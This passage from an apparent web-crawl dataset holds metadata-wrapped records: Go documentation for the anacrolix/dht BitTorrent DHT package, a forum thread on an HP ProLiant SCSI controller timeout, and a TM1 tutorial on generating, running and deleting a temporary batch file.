"ccnet_original_length": 2374,
"ccnet_original_nlines": 46,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32181423902511597,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05183584988117218,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.203023761510849,
"rps_doc_frac_unique_words": 0.5014164447784424,
"rps_doc_mean_word_length": 5.042492866516113,
"rps_doc_num_sentences": 28,
"rps_doc_symbol_to_word_ratio": 0.038876891136169434,
"rps_doc_unigram_entropy": 4.731093883514404,
"rps_doc_word_count": 353,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.08764044940471649,
"rps_doc_frac_chars_dupe_6grams": 0.05842696875333786,
"rps_doc_frac_chars_dupe_7grams": 0.03820224851369858,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02359551005065441,
"rps_doc_frac_chars_top_3gram": 0.01910112053155899,
"rps_doc_frac_chars_top_4gram": 0.024719100445508957,
"rps_doc_books_importance": -189.5267333984375,
"rps_doc_books_importance_length_correction": -189.5267333984375,
"rps_doc_openwebtext_importance": -123.2722396850586,
"rps_doc_openwebtext_importance_length_correction": -123.2722396850586,
"rps_doc_wikipedia_importance": -64.45609283447266,
"rps_doc_wikipedia_importance_length_correction": -64.45609283447266
},
"fasttext": {
"dclm": 0.22284090518951416,
"english": 0.8649649024009705,
"fineweb_edu_approx": 2.3909974098205566,
"eai_general_math": 0.9820669889450073,
"eai_open_web_math": 0.3424617648124695,
"eai_web_code": 0.9340455532073975
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,592,117,428,973,571,300 |
Agent moving side to side when going up ramp/slope
When an agent goes up a ramp its slowing down and rotating left and right making it look like its squirming to get up the ramp. I thought it was a gravity issue but I disabled gravity and it still does it. What might be causing this?
Also, as a second question. I am wanting to play a sound when an agent is moving but stop the sound when the agent stops moving, I had it working with Unitys built in navmesh system but with A* I changed it to use the agent.velocity but when the agent stops moving the velocity never goes to 0,0,0 there are always values, what do you recommend here? Thank you for your help!
I am also needing to use the velocity to drive a blendtree so still stuck on how to fix the issues with the velocity returning strange values when not moving. cheers.
Hi
1. Do you think you could post a video of the issue?
2. What velocities are you getting near the end? Is the character visibly moving?
Sure thing, I was able to fix the weird side to side movement by adding proper physics materials to the agent and surfaces. Here is a video showing how neither the agent velocity or rigidbody velocity zero out when the character stops moving.
https://www.youtube.com/embed/8nYHc_8HKX0
I am also having another issue, the slime in that first video has the speed set to 1, but I actually need the slime to move at 0.1, At this setting it seems like its not getting enough velocity to get up the ramp as seen in this second video. The slime has a very large mass based on real world calculation for its size of 288kg, it is using a max friction physics materials as well, so not sure how to make this work with physics. Thank you so much for your help I am very grateful!
https://www.youtube.com/embed/vu8fQVMk320
I also wanted to ask if I should be using the rigidbody velocity or RichAI velocity for animation movement control? (movement speed?)
Today I am trying to align a walking animation with the agent move speed and am having difficulty. The max speed of the agent is 1.0f but the agent actually gets up to a velocity of 4, I guess I dont understand the relationship between max speed and velocity and still confused on how to sync my animation speed to the agent (which values I should be using). I have tried both with physics and kinematically with the same result. This is the basic movement code I am using:
//normalizing wasnt working very well when the speed would decrease so I have been trying
//without normalization.
//agentVelocity = agent.transform.InverseTransformDirection(agent.velocity).normalized;
agentVelocity = agent.transform.InverseTransformDirection(agent.velocity);
agentMoveSpeed = agentVelocity.z;
agentTurnSpeed = agentVelocity.x;
animator.SetFloat("MoveSpeed", agentMoveSpeed, moveSpeedDampen, Time.deltaTime);
animator.SetFloat("TurnSpeed", agentTurnSpeed, turnSpeedDampen, Time.deltaTime);
Regarding the velocities being larger. Have you scaled the whole object possibly?
Yeah the RichAI script does not necessarily reach a (0,0,0) velocity, however comparing to (0,0,0) with floating point values is a pretty bad idea in any case due to floating point errors. I would recommend doing something like ai.velocity.magnitude < 0.01f.
Thank you Aron, can you address this issue as well?
" I am also having another issue, the slime in that first video has the speed set to 1, but I actually need the slime to move at 0.1, At this setting it seems like its not getting enough velocity to get up the ramp as seen in this second video. The slime has a very large mass based on real world calculation for its size of 288kg, it is using a max friction physics materials as well, so not sure how to make this work with physics. Thank you so much for your help I am very grateful!
https://www.youtube.com/embed/vu8fQVMk320 "
I would guess that the physics is pulling it down so much that it counteracts the velocity the movement script is trying to set.
Do you need to use a rigidbody for that agent? Usually for moving agents not using a rigidbody (or at least using a kinematic one) is much easier.
The only reason I switched to using physics is when the slime would go up a ramp it did not rotate at an angle like it adhered to the surface, the slime would just remain at the same angle as it went up the slope, how can I keep it kinematic but get it to align to the surface?
Also you had asked if I was scaling and I was by a factor of x4 (4,4,4). I wanted to have a scaling system for my NPC’s to create variation does it not work correctly with the AI system? or is there something else I need to do if I want scale variations?
Thank you again!
Hi
You an align the object using a script instead. You can use Physics.Raycast downwards and then align the object using the hit normal. I’m sure there are example scripts doing exactly this if you search for it on google.
I’m not sure why the velocity is not correct… You are using InverseTransformDirection properly instead of InverseTransformPoint, so it’s not that…
Okay no worries, i will do some more tinkering, thank for your help!
|
{
"url": "https://forum.arongranberg.com/t/agent-moving-side-to-side-when-going-up-ramp-slope/8671",
"source_domain": "forum.arongranberg.com",
"snapshot_id": "CC-MAIN-2024-10",
"warc_metadata": {
"Content-Length": "41254",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:H3BM3TOQ7PXUZF7HE4Q5V6ZHZBSH7FNU",
"WARC-Concurrent-To": "<urn:uuid:140238fe-730b-46cb-8cb6-32575d354dca>",
"WARC-Date": "2024-02-29T22:07:51Z",
"WARC-IP-Address": "213.239.212.56",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:N533SITNRGROKOBYJN6TOOLDZ72DEOVF",
"WARC-Record-ID": "<urn:uuid:d49a1d89-190f-4fd5-8848-57d4c86916f6>",
"WARC-Target-URI": "https://forum.arongranberg.com/t/agent-moving-side-to-side-when-going-up-ramp-slope/8671",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:417b146c-46d1-4c07-9cec-5f033bf7ccf6>"
},
"warc_info": "isPartOf: CC-MAIN-2024-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-78\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
51,
52,
286,
287,
663,
664,
831,
832,
835,
836,
891,
892,
976,
977,
1220,
1262,
1263,
1747,
1789,
1790,
1924,
1925,
2399,
2400,
2498,
2531,
2627,
2628,
2711,
2753,
2795,
2796,
2885,
2974,
2975,
3057,
3058,
3317,
3318,
3370,
3371,
3857,
3901,
3902,
4031,
4032,
4179,
4180,
4458,
4459,
4714,
4731,
4732,
4735,
4736,
4956,
4957,
5104,
5105
],
"line_end_idx": [
51,
52,
286,
287,
663,
664,
831,
832,
835,
836,
891,
892,
976,
977,
1220,
1262,
1263,
1747,
1789,
1790,
1924,
1925,
2399,
2400,
2498,
2531,
2627,
2628,
2711,
2753,
2795,
2796,
2885,
2974,
2975,
3057,
3058,
3317,
3318,
3370,
3371,
3857,
3901,
3902,
4031,
4032,
4179,
4180,
4458,
4459,
4714,
4731,
4732,
4735,
4736,
4956,
4957,
5104,
5105,
5173
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5173,
"ccnet_original_nlines": 59,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4667282700538635,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03327171877026558,
"rps_doc_frac_lines_end_with_ellipsis": 0.01666666939854622,
"rps_doc_frac_no_alph_words": 0.16358594596385956,
"rps_doc_frac_unique_words": 0.3417142927646637,
"rps_doc_mean_word_length": 4.605714321136475,
"rps_doc_num_sentences": 71,
"rps_doc_symbol_to_word_ratio": 0.0018484300235286355,
"rps_doc_unigram_entropy": 5.0873260498046875,
"rps_doc_word_count": 875,
"rps_doc_frac_chars_dupe_10grams": 0.20446650683879852,
"rps_doc_frac_chars_dupe_5grams": 0.22282877564430237,
"rps_doc_frac_chars_dupe_6grams": 0.20446650683879852,
"rps_doc_frac_chars_dupe_7grams": 0.20446650683879852,
"rps_doc_frac_chars_dupe_8grams": 0.20446650683879852,
"rps_doc_frac_chars_dupe_9grams": 0.20446650683879852,
"rps_doc_frac_chars_top_2gram": 0.005955330096185207,
"rps_doc_frac_chars_top_3gram": 0.01091810967773199,
"rps_doc_frac_chars_top_4gram": 0.0074441698379814625,
"rps_doc_books_importance": -544.5130004882812,
"rps_doc_books_importance_length_correction": -544.5130004882812,
"rps_doc_openwebtext_importance": -280.7907409667969,
"rps_doc_openwebtext_importance_length_correction": -280.7907409667969,
"rps_doc_wikipedia_importance": -201.06829833984375,
"rps_doc_wikipedia_importance_length_correction": -201.06829833984375
},
"fasttext": {
"dclm": 0.9173532724380493,
"english": 0.9394075274467468,
"fineweb_edu_approx": 1.4764933586120605,
"eai_general_math": 0.9891865849494934,
"eai_open_web_math": 0.49881839752197266,
"eai_web_code": 0.6068676710128784
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,028,395,958,877,583,000 |
cache_TS 1.0
This class can be used to cache the output of PHP script in files.
First it checks the cache file of a given cache key. If the cache file exists and it has not expired, the class outputs the contents of the cache file. If the cache file does not yet exist or it has expired, the class starts capturing the output of the script and stores it in the cache file.
The directory where the cache files are stored and the cache file expiry time are configurable parameters.
License type: GNU Lesser General Public License
Date added: 4 years, 7 months 1 day ago | Last updated: 4 years, 7 months 1 day ago
More popular Cache
This is actually one of the most advanced image hosting script. The imagetize key features: SEO, Ads Ready, Admin
Listing Files
• example_test.sql
• 131.1 KB
• 10/23/2008 03:33:25
Hot Scripts
Sponsors
|
{
"url": "http://www.phpkode.com/scripts/item/cache_ts-6368/",
"source_domain": "www.phpkode.com",
"snapshot_id": "crawl=CC-MAIN-2015-18",
"warc_metadata": {
"Content-Length": "19407",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:V76KX2Q2ARBYV3UX4NDZEJKKBB7KJ6JO",
"WARC-Concurrent-To": "<urn:uuid:77b29f33-cd71-4c2b-af42-87b7e3d8a471>",
"WARC-Date": "2015-04-19T10:56:56Z",
"WARC-IP-Address": "64.150.189.91",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:I5FLLX3LX5D5W67UVUVL65QSHQGOLQKQ",
"WARC-Record-ID": "<urn:uuid:dc865190-1928-4f07-ba60-2fca6209936c>",
"WARC-Target-URI": "http://www.phpkode.com/scripts/item/cache_ts-6368/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:441d2efa-c3a3-4940-81a4-f222e3cf85c9>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
14,
81,
82,
375,
376,
483,
484,
532,
616,
617,
636,
637,
751,
752,
766,
767,
788,
801,
825,
837
],
"line_end_idx": [
13,
14,
81,
82,
375,
376,
483,
484,
532,
616,
617,
636,
637,
751,
752,
766,
767,
788,
801,
825,
837,
845
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 845,
"ccnet_original_nlines": 21,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2637362480163574,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021978020668029785,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23626373708248138,
"rps_doc_frac_unique_words": 0.5827814340591431,
"rps_doc_mean_word_length": 4.331125736236572,
"rps_doc_num_sentences": 10,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.144588470458984,
"rps_doc_word_count": 151,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.061162080615758896,
"rps_doc_frac_chars_dupe_6grams": 0.061162080615758896,
"rps_doc_frac_chars_dupe_7grams": 0.061162080615758896,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.08562690764665604,
"rps_doc_frac_chars_top_3gram": 0.11009173840284348,
"rps_doc_frac_chars_top_4gram": 0.042813461273908615,
"rps_doc_books_importance": -71.62319946289062,
"rps_doc_books_importance_length_correction": -71.62319946289062,
"rps_doc_openwebtext_importance": -40.790313720703125,
"rps_doc_openwebtext_importance_length_correction": -38.709693908691406,
"rps_doc_wikipedia_importance": -32.54301071166992,
"rps_doc_wikipedia_importance_length_correction": -32.54301071166992
},
"fasttext": {
"dclm": 0.07170779258012772,
"english": 0.773917555809021,
"fineweb_edu_approx": 1.6748454570770264,
"eai_general_math": 0.17639601230621338,
"eai_open_web_math": 0.5312819480895996,
"eai_web_code": 0.0021610900294035673
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-3,417,535,117,253,586,400 |
メニュー
AWS Lambda
開発者ガイド
関数エラー (Node.js)
Lambda 関数が正常に実行できなかったことを AWS Lambda に通知すると、Lambda はエラーオブジェクトを文字列に変換しようとします。次の例を考えます。
Copy
console.log('Loading function'); exports.handler = function(event, context, callback) { // This example code only throws error. var error = new Error("something is wrong"); callback(error); };
この Lambda 関数を呼び出すと、関数の実行がエラーで終了したことが AWS Lambda に通知され、エラー情報が AWS Lambda に渡されます。AWS Lambda はクライアントにエラー情報を返します。
Copy
{ "errorMessage": "something is wrong", "errorType": "Error", "stackTrace": [ "exports.handler (/var/task/index.js:10:17)" ] }
スタックトレースは、スタックトレース要素の JSON 配列 stackTrace として返されることに注意してください。
返されるエラー情報の取得方法は、関数呼び出し時にクライアントが指定する呼び出しタイプによって決まります。
• クライアントが RequestResponse 呼び出しタイプ (同期実行です) を指定した場合、呼び出しを行ったクライアントに結果が返ります。
たとえば、コンソールは常に RequestResponse 呼び出しタイプを使用するため、[Execution result] セクションに次のようなエラーが表示されます。
同じ情報は、CloudWatch にも送信され、[Log output] セクションに同じログが表示されます。
• クライアントが Event 呼び出しタイプ (非同期実行です) を指定した場合は、AWS Lambda は何も返しません。代わりに、CloudWatch ログにエラー情報がログ記録されます。CloudWatch メトリクスでエラーメトリクスを確認することもできます。
イベントソースに応じて、AWS Lambda はエラーになった Lambda 関数を返す場合があります。たとえば、Amazon Kinesis がイベントソースである場合、AWS Lambda は Lambda 関数が成功するかストリームのレコードの有効期限が切れるまで、エラーになった呼び出しを再試行します。再試行の詳細については、「エラー時の再試行」を参照してください。
前述の Node.js コード (コンソール) をテストするには
1. コンソールで、hello-world 設計図を使用して Lambda 関数を作成します。[runtime] で [Node.js] を選択し、[Role] で [Basic execution role] を選択します。これを行う手順については、「ステップ 2.1: Hello World Lambda 関数を作成する」を参照してください。
2. テンプレートコードをこのセクションで提供されたコードに置き換えます。
3. Lambda コンソールで提供される [Hello World] という [Sample event template] を使用して Lambda 関数をテストします。これを行う手順については、「ステップ 2.2: Lambda 関数を手動で呼び出し、結果、ログ、メトリクスを確認する」を参照してください。
関数エラーの処理
カスタムエラー処理を作成して、Lambda 関数から直接例外をスローさせ、AWS Step Functions State Machine 内で直接処理 (再試行またはキャッチ) できます。詳細については、ステートマシンを使用したエラー条件の処理を参照してください。
CreateAccount ステートは、Lambda 関数を使用してお客様の詳細をデータベースに書き込むタスクと考えてください。
• タスクが成功した場合は、アカウントが作成され、ようこそ E メールが送信されます。
• 既に存在するユーザー名でアカウントを作成しようとすると、Lambda 関数はエラーを発生させ、ステートマシンによって別のユーザー名を使用してアカウント作成プロセスを再試行するように促されます。
次のコード例はそれを行う方法を示しています。Node.js のカスタムエラーでは、エラープロトタイプを拡張する必要があることに注意してください。
Copy
exports.handler = function(event, context, callback) { function AccountAlreadyExistsError(message) { this.name = "AccountAlreadyExistsError"; this.message = message; } AccountAlreadyExistsError.prototype = new Error(); const error = new AccountAlreadyExistsError("Account is in use!"); callback(error); };
Catch ルールを使用してエラーをキャッチするように ステップ関数 を設定できます。
Copy
{ "StartAt": "CreateAccount", "States": { "CreateAccount": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:123456789012:function:CreateAccount", "Next": "SendWelcomeEmail", "Catch": [ { "ErrorEquals": ["AccountAlreadyExistsError"], "Next": "SuggestAccountName" } ] }, … } }
実行時、AWS Step Functions はエラーをキャッチし、Next 移行に指定されているとおり SuggestAccountName 状態に移行します。
注記
Error オブジェクトの名前プロパティは、ErrorEquals 値と一致する必要があります。
カスタムエラー処理によって、サーバーレスアプリケーションの作成がより簡単になります。この機能は、Lambda プログラミングモデル でサポートされているすべての言語に統合できるため、選択したプログラミング言語でアプリケーションを設計したり、作業途中で混用したり組み合わせたりできます。
AWS Step Functions および AWS Lambda を使用した独自のサーバーレスアプリケーション作成の詳細については、AWS Step Functions を参照してください。
このページの内容:
|
{
"url": "http://docs.aws.amazon.com/ja_jp/lambda/latest/dg/nodejs-prog-mode-exceptions.html",
"source_domain": "docs.aws.amazon.com",
"snapshot_id": "crawl=CC-MAIN-2017-22",
"warc_metadata": {
"Content-Length": "73296",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FZWLSDH6AKEAN5AFH3L5KVONM4SGXR3Z",
"WARC-Concurrent-To": "<urn:uuid:446f60fd-737d-4c71-b8b1-2d839efdf765>",
"WARC-Date": "2017-05-29T07:42:16Z",
"WARC-IP-Address": "54.239.23.208",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:DRM4VEPENMCTQHA7IS2UGNFCER6Z3EV3",
"WARC-Record-ID": "<urn:uuid:2c588505-850a-412f-813a-537828f26fe5>",
"WARC-Target-URI": "http://docs.aws.amazon.com/ja_jp/lambda/latest/dg/nodejs-prog-mode-exceptions.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:148567c7-0e62-4de8-a528-5e99b485b0da>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
5,
16,
23,
24,
40,
41,
126,
127,
132,
325,
435,
436,
441,
568,
629,
630,
683,
684,
761,
762,
853,
854,
914,
915,
1053,
1054,
1242,
1243,
1276,
1277,
1454,
1455,
1495,
1496,
1655,
1656,
1665,
1666,
1800,
1801,
1866,
1867,
1913,
1914,
2015,
2016,
2089,
2090,
2095,
2401,
2402,
2446,
2447,
2452,
2734,
2735,
2817,
2818,
2821,
2822,
2871,
2872,
3015,
3016,
3113,
3114
],
"line_end_idx": [
5,
16,
23,
24,
40,
41,
126,
127,
132,
325,
435,
436,
441,
568,
629,
630,
683,
684,
761,
762,
853,
854,
914,
915,
1053,
1054,
1242,
1243,
1276,
1277,
1454,
1455,
1495,
1496,
1655,
1656,
1665,
1666,
1800,
1801,
1866,
1867,
1913,
1914,
2015,
2016,
2089,
2090,
2095,
2401,
2402,
2446,
2447,
2452,
2734,
2735,
2817,
2818,
2821,
2822,
2871,
2872,
3015,
3016,
3113,
3114,
3123
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3123,
"ccnet_original_nlines": 66,
"rps_doc_curly_bracket": 0.0051232799887657166,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.031192660331726074,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027522940188646317,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6678898930549622,
"rps_doc_frac_unique_words": 0.7022222280502319,
"rps_doc_mean_word_length": 12.182222366333008,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0.001834859955124557,
"rps_doc_unigram_entropy": 4.80658483505249,
"rps_doc_word_count": 225,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01641736924648285,
"rps_doc_frac_chars_top_3gram": 0.024808460846543312,
"rps_doc_frac_chars_top_4gram": 0.03064575046300888,
"rps_doc_books_importance": -242.3573455810547,
"rps_doc_books_importance_length_correction": -242.3573455810547,
"rps_doc_openwebtext_importance": -155.032470703125,
"rps_doc_openwebtext_importance_length_correction": -155.032470703125,
"rps_doc_wikipedia_importance": -115.71395874023438,
"rps_doc_wikipedia_importance_length_correction": -115.71395874023438
},
"fasttext": {
"dclm": 0.8782082796096802,
"english": 0.00044373999116942286,
"fineweb_edu_approx": 3.2159852981567383,
"eai_general_math": 0.02651005983352661,
"eai_open_web_math": 0.36387723684310913,
"eai_web_code": 0.3038010597229004
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,785,480,725,441,438,000 |
keypoints.cpp
Go to the documentation of this file.
00001 /*
00002 * Copyright (C) 2007-2008 Anael Orlinski
00003 *
00004 * This file is part of Panomatic.
00005 *
00006 * Panomatic is free software; you can redistribute it and/or modify
00007 * it under the terms of the GNU General Public License as published by
00008 * the Free Software Foundation; either version 2 of the License, or
00009 * (at your option) any later version.
00010 *
00011 * Panomatic is distributed in the hope that it will be useful,
00012 * but WITHOUT ANY WARRANTY; without even the implied warranty of
00013 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
00014 * GNU General Public License for more details.
00015 *
00016 * You should have received a copy of the GNU General Public License
00017 * along with Panomatic; if not, write to the Free Software
00018 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
00019 */
00020
00021 #include <iostream>
00022 #include <fstream>
00023 #include <vector>
00024 #include <string>
00025 #include <boost/foreach.hpp>
00026 #include <boost/shared_ptr.hpp>
00027
00028 #include <tclap/CmdLine.h>
00029
00030 #include <localfeatures/KeyPointDetector.h>
00031 #include <localfeatures/CircularKeyPointDescriptor.h>
00032 #include <localfeatures/Sieve.h>
00033 #include <localfeatures/KeyPointIO.h>
00034
00035 #include <vigra/impex.hxx>
00036 #include <vigra/stdimage.hxx>
00037 #include <vigra/stdimagefunctions.hxx>
